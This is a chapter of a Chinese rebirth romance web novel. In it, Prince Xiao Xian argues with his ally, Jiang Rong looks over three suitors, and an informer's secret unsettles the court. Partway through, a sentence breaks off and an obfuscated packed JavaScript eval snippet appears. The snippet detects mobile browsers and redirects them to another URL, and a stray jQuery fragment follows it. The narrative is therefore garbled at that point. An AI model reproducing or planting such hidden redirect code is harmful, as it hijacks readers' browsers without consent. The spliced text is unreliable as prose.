7. 彩头

作品:《春台濯雪(双重生)

    裕王府书房内。


    “碰——”


    “既白,你看看你现在,满脑子情爱,还记得你要办的正事吗?”


    既白是萧显的字。


    屋内只有他们二人,罗彰气的满脸通红,胸口剧烈的起伏,一拳砸在桌案上,还不解气。


    “你喜欢谁我不管,你想娶谁我也不管,但你今天明知道我来,还让她来,让她撞见我们相识,这是件多危险的事!”


    萧显自知理亏,递茶赔礼,“明扬见谅,是我的错,都是我的错。”


    明扬是罗彰的字。


    罗彰偏头过去不肯接,口中愤愤不平,“此番若是这般轻易饶恕你,愧对我这几年憋屈的心血!”


    “你知不知道,这几年我在齐王面前装得我都快不认识我自己了!”


    “明扬心中苦闷,我亦是难受,”萧显转身过来,立于他身前,“今日之事全赖你反应及时,没让她察觉,你放心,我派人盯着些,绝对没有问题的。”


    “派人盯着她?”罗彰感觉他脑子有问题,“人家一个未出阁小娘子,你派人盯着,这合适吗?”


    “更何况那是左相江淮远家的小娘子!”


    “明扬,明扬——”萧显还想辩解。


    罗彰虽然是个武官,但粗中带细,他截断他的话,“不对,你说的这么轻松,不会早就派人盯着她了吧?”


    “以既白你的聪明,不可能因情乱智,你是真相中了江娘子?”罗彰这话问得真挚。


    萧显向来对他剖心置腹,点了点头。


    罗彰深呼一口气,“左相在朝中相对独立,燕齐二王一直都想拉拢他,如果能与之结为姻亲,当是不错。”


    “于公于私都是好算计。”


    前世相遇相识确实是他算计,可婚后二人朝夕相伴,娘子真心相待,柔情蜜意,使得他很快就将真心栽了去。


    今生的重逢,他只想和她再续前缘,不再图谋左相权势,就算她是平民之女,他也只认定她一人。


    “哎明扬,你这话说的不对,于公或有算计,于私只有满腔真情。”


    “得了吧,人家江娘子没在这,你这满腔真情的酸话没人听。”


    罗彰刚才在前厅和江氏匆匆一面,见她面若芙蕖,明眸皓齿,身量纤细,除了看着几分柔弱,倒是个美人。


    “和我说说,你是什么时候对江娘子情根深种的?”


    萧显幽幽道:“或许是因缘际会,前世情缘,今生续。”


    -


    休沐日,左相安排相看的三人来府上小聚。


    晨起梳妆的时候,江容就兴致缺缺,经历过前世一遭,她早就不信将幸福拴在男人身上。


    能够相敬如宾已经不易,不敢奢求相亲相爱。


    世上夫妻相处多重模式,像她与萧显曾经那般,想必是独一无二。


    带着阴谋算计的相遇,带着权势倾轧的求娶,带着阴毒狠辣的谋杀。


    世间夫妻过程这样的,比仇人还可怕。


    “娘子,好了。”汀芷将最后一根玉簪斜插入头发,今日绾的是时下最流行的飞仙髻,轻盈灵动。


    面上铅粉打底,螺子黛画就远山眉,淡红色的胭脂涂抹在饱满莹润的唇上,妆容淡雅清丽。


    身穿银蓝色交领齐胸襦裙,辅以对襟衫裙的上衣雾蓝色,绣着水仙纹,背后轻纱披帛,很是好看。


    乌木框山水屏风后,江容带着面纱坐在后面。


    初闻左相相邀,三人还受宠若惊,不久就品道了左相的用意,衣着打扮上都费了心思。


    隔着屏风,影影绰绰瞧着几道的身影,确实比画像中好看几分,她的目光聚焦在青色圆领袍男子身上,应是对应画像上的王元济。


    经过左相的考察,大理寺寺丞郑同舟足智多谋,观察细致入微,见微知著,探案是一把好手,只是性格上略显无趣,言语很少,遇上感兴趣的才会多说几句。


    若是选他,到是安静。


    吏部郎中池崇为人知礼守节,与院中婢女都保持得体的距离,不敢与女子对视,左相说话时站的腰杆很直,只是太过守礼,显得性子无趣。


    若是选他,家宅安稳。


    新科状元郎最为出色,文采斐然,面容姣好,虽说比不过裕王那般俊朗,但也是曲江池畔惹眼的郎君,只是官阶略低,不知何时能身着红袍。


    若是选他,好看养眼。


    事毕,兄长带着三人在府上闲逛。


    左相绕到屏风后,问及江容想法。


    接连相看三人,江容觉得,还是状元郎王元济俊朗姿容,最得她心。


    一如既往的改不了,喜欢男人的皮面。


    管家快步通传,“裕王求见。”


    “裕王?”左相眉心微蹙,眸色一沉,“他来干什么?现下人何在?”


    江容不由自主冷了脸,一把扯下面纱,她今日相看,转瞬裕王就得了消息前来,看来这消息网名不虚传,府内漏得跟筛子似的。


    此时前来,怕不是接连两次勾引她不成,今日特意搅黄她的姻缘吧。


    世上女子万千,他何故只盯着她不放?


    这姻缘,她要定了。


    管家回话:“裕王未说,现在人正在前厅等待。”


    左相无奈,“阿容你先和你母亲回绛雪阁,我去见裕王。”


    江容听话,打了个哈欠,快走几步想要回去补眠,方才那端端正正的坐着,可是真难受。


    树影间隙,透过斑驳的阳光。


    母亲故意放慢脚步,手帕抵在唇前,咳嗽两声后,神神秘秘的偷问她,“这几人你心仪哪个?”


    穿过圆月廊门,院中的花开了许多,层层叠叠的颜色争奇斗艳,都没她面颊绯红明艳,她故作小娘子家的娇羞,耳框都浸的发红,“儿觉得,状元郎芝兰玉树、文采斐然,最好。”


    “是吗?”


    萧显的声音从长廊的尽头传来,夹杂着廊内过堂的冷风,卷着旋儿的袭击过来,冷得她浑身一颤。


    这来的也太快了。


    “是啊!”左相像是完全没注意到他语气都寒意,笑意答道,“上次若不是得裕王相助,我这把老骨头不知道得忙乱到什么时候。”


    江容匆匆见礼,“裕王万福。”


    萧显圆领白袍墨竹作绣,腰间玉质带钩系着一只香囊,今日这打扮不像皇亲贵族,倒像是文人墨客。


    这男人面容俊朗,身姿挺拔,她最喜欢她穿淡色,不夺人光彩,还衬得他越发俊逸脱俗。


    接着身后响起此次彼伏的“裕王万福。”


    游园的三人也聚集


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105944|163871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到这边。


    还真是热闹啊。


    江容咬牙切齿。


    前世都是她到处打探裕王行程,制造偶遇,曾无数次期盼他能主动来寻她。


    如今前世发愿成真,她只觉是孽缘作祟。


    一下见了这么多的外男,江容装作慌乱模样,躲在母亲身后,一双黑眸提溜乱瞥,尽现小女儿姿态。


    萧显面向三人,气势逼人,“三位郎君方才斗诗,是何彩头?”


    “不妨带本王一个?”


    -


    翌日早朝,发生了一件震动朝野的大事。


    三日前,有告密者入长安面圣。


    明帝闭门接见,半个时辰内,未招任何侍从侍茶,门外三尺内不许任何人靠近。


    紫宸殿上,明帝端坐龙椅,左手轻抚着龙形把手,右手里拿着一本奏折,不怒自威。


    “有告密者拼死面圣,”明帝居高临下,打量朝臣,缓缓说出:“告诉了朕一件大事。”


    “告密者”三个字一出,满朝文武噤若寒蝉,私下交换眼神都不敢大动作,这比御史台大夫手里的笔还令人胆颤。


    左相站在第一排,捏着笏板的手心渐渐出了汗,明帝既然拿到早朝上来说,想必是相信这秘密。


    无论这告密者所说是何事,明帝已然相信,这才是最可怕的。


    告密者制度由来已久,本朝初年为了防止前朝余孽聚众谋反,排除异己,便鼓励告密,掀起告密之风,用以约束臣民。


    告密者途径所有官驿提供食宿,不得拦截,不得询问,不得查探,密信不经三省六部,直达天听。


    是以朝堂上下皆惧怕告密者,生怕自己被告密。


    如今本朝立国百年有余,前朝余孽已不成气候,告密者制度却未被取消,反而成了常设机构,明帝亲政后,组建了缉镇司,旨在缉拿要犯,镇佞扶直。


    缉镇司独立于三省六部二十四司之外,直接听命于明帝。


    虽然官阶不高,但谁也不敢小觑。


    告密者传来密信,先由缉镇司司主先查探一番,除非及特别重大事件,都会探查属实才上报。


    对于告密者,群臣心照不宣,虽然朝廷明令禁止阻拦告密者,但要是知道告密对其不利,便会告知沿路官员,设法拦截,最终能到达缉镇司的不过十之一二。


    而值得明帝在朝堂上拿出来的,更是微乎其微,就算不是抄家灭族的大事,也能顷刻颠覆一门荣辱。


    上次明帝早朝提起告密者,还是长宁十九年。


    那时的明帝似笑非笑的说,他得了一首诗。


    字字句句皆真实,恍恍惚惚要杀人。


    由于诗的内容并未公开,所以诗中所言无人知晓。


    当日下值,崔太傅就被明帝身边的徐公公给留了下来,照例,书房外三尺之内不许有人靠近,书房内所说无人知晓。


    但那次日,崔太傅就上书致仕,离京归乡,崔氏一脉自此在朝堂一蹶不振。


    所有人都知道崔太傅突然致仕归乡,与这告密者脱不了干系,一时间朝堂人人自危,都想知道那首诗写的是什么。


    就算过了十几年,谁都忘不了,那种山雨欲来风满楼的压迫感。


    究竟是怎样的诗,让明帝连教导他二十余载的恩师都没放过?